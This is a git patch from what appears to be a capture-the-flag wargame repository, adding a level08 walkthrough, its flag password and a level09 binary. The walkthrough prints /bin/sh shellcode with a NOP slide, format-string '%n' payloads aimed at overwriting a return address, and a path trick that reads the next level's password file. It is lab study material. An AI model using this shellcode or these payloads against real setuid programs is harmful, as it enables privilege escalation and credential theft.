From 17686e16d30f5a208a9d0c85bde79c008f9f6404 Mon Sep 17 00:00:00 2001
From: gbrochar <gaetanbrochard@protonmail.com>
Date: Tue, 1 Jul 2025 15:26:11 +0200
Subject: [PATCH] feat: level08 + level09 elf

---
 level08/flag               |   1 +
 level08/walkthrough        |  44 +++++++++++++++++++++++++++++++++++++
 level09/Ressources/level09 | Bin 0 -> 12959 bytes
 3 files changed, 45 insertions(+)
 create mode 100644 level08/flag
 create mode 100644 level08/walkthrough
 create mode 100755 level09/Ressources/level09

diff --git a/level08/flag b/level08/flag
new file mode 100644
index 0000000..7301e9e
--- /dev/null
+++ b/level08/flag
@@ -0,0 +1 @@
+fjAwpJNs2vvkFLRebEvAQ2hFZ4uQBWfHRsP62d8S
diff --git a/level08/walkthrough b/level08/walkthrough
new file mode 100644
index 0000000..06b88df
--- /dev/null
+++ b/level08/walkthrough
@@ -0,0 +1,44 @@
+load shellcode in env with nop slide
+
+level08@OverRide:~$ echo -e "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" > shellcode.bin
+level08@OverRide:~$ export SHELLCODE=$(cat shellcode.bin)
+level08@OverRide:~$ 
+
+
+(gdb) p (char *)getenv("SHELLCODE")
+$1 = 0xffffffffffffe892 <Address 0xffffffffffffe892 out of bounds>
+
+need to override ret pointer with 0xffffffffffffe892. For this we are going to write e892, then ffff 3 times. Kinda like level05. we will override log_wrapper ret addr cause its fastest.
+
+Better version (file doesn't need to exist as log_wrapper is called before fopen)
+
+level08@OverRide:~$ env -i SHELLCODE=$(cat shellcode.bin) /home/users/level08/level08 $(python -c "print('AAAABBXXXXCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK'+'%11\$9x'*20)")
+ERROR: Failed to open AAAABBXXXXCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x%11$9x
+level08@OverRide:~$ cat backups/.log
+LOG: Starting back up: AAAABBXXXXCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK 58585858 58585858 58585858 58585858 58585858 58585858 58585858 58585858 58585858 58585858 58585858 58585858 58585858 58585858 58585858 58585858 58585858 58585858 58585858 58585858
+level08@OverRide:~$
+
+with env -i :
+Breakpoint 1, 0x0000000000400a5a in main ()
+(gdb) p (char *)getenv("SHELLCODE")
+$1 = 0xffffffffffffef79 <Address 0xffffffffffffef79 out of bounds>
+
+
+
+env -i SHELLCODE=$(cat shellcode.bin) /home/users/level08/level08 $(python -c "print('AAAABB\xc8\xeb\xff\xff\xff\x7f\x00\x00DDEEEEFFFFGGGGHHHHIIIIJJJJKKKK'+'%17lx'*10+'%n')")
+
+
+actually its way simpler T_T : 
+
+level08@OverRide:~$ mkdir -p /tmp/backups/home/users/level09/
+level08@OverRide:~$ cd /tmp
+level08@OverRide:/tmp$ ~/level08 /home/users/level09/pass
+ERROR: Failed to open /home/users/level09/pass
+level08@OverRide:/tmp$ ~/level08 /home/users/level09/.pass
+level08@OverRide:/tmp$ cat backups/
+home/ .log
+level08@OverRide:/tmp$ cat backups/home/users/level09/.pass
+fjAwpJNs2vvkFLRebEvAQ2hFZ4uQBWfHRsP62d8S
+level08@OverRide:/tmp$ exit
+logout
+Connection to localhost closed.
diff --git a/level09/Ressources/level09 b/level09/Ressources/level09
new file mode 100755
index 0000000000000000000000000000000000000000..57c0d8fd40ca4b277da3b0383c6cfa6b6271a683
GIT binary patch
literal 12959
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

literal 0
HcmV?d00001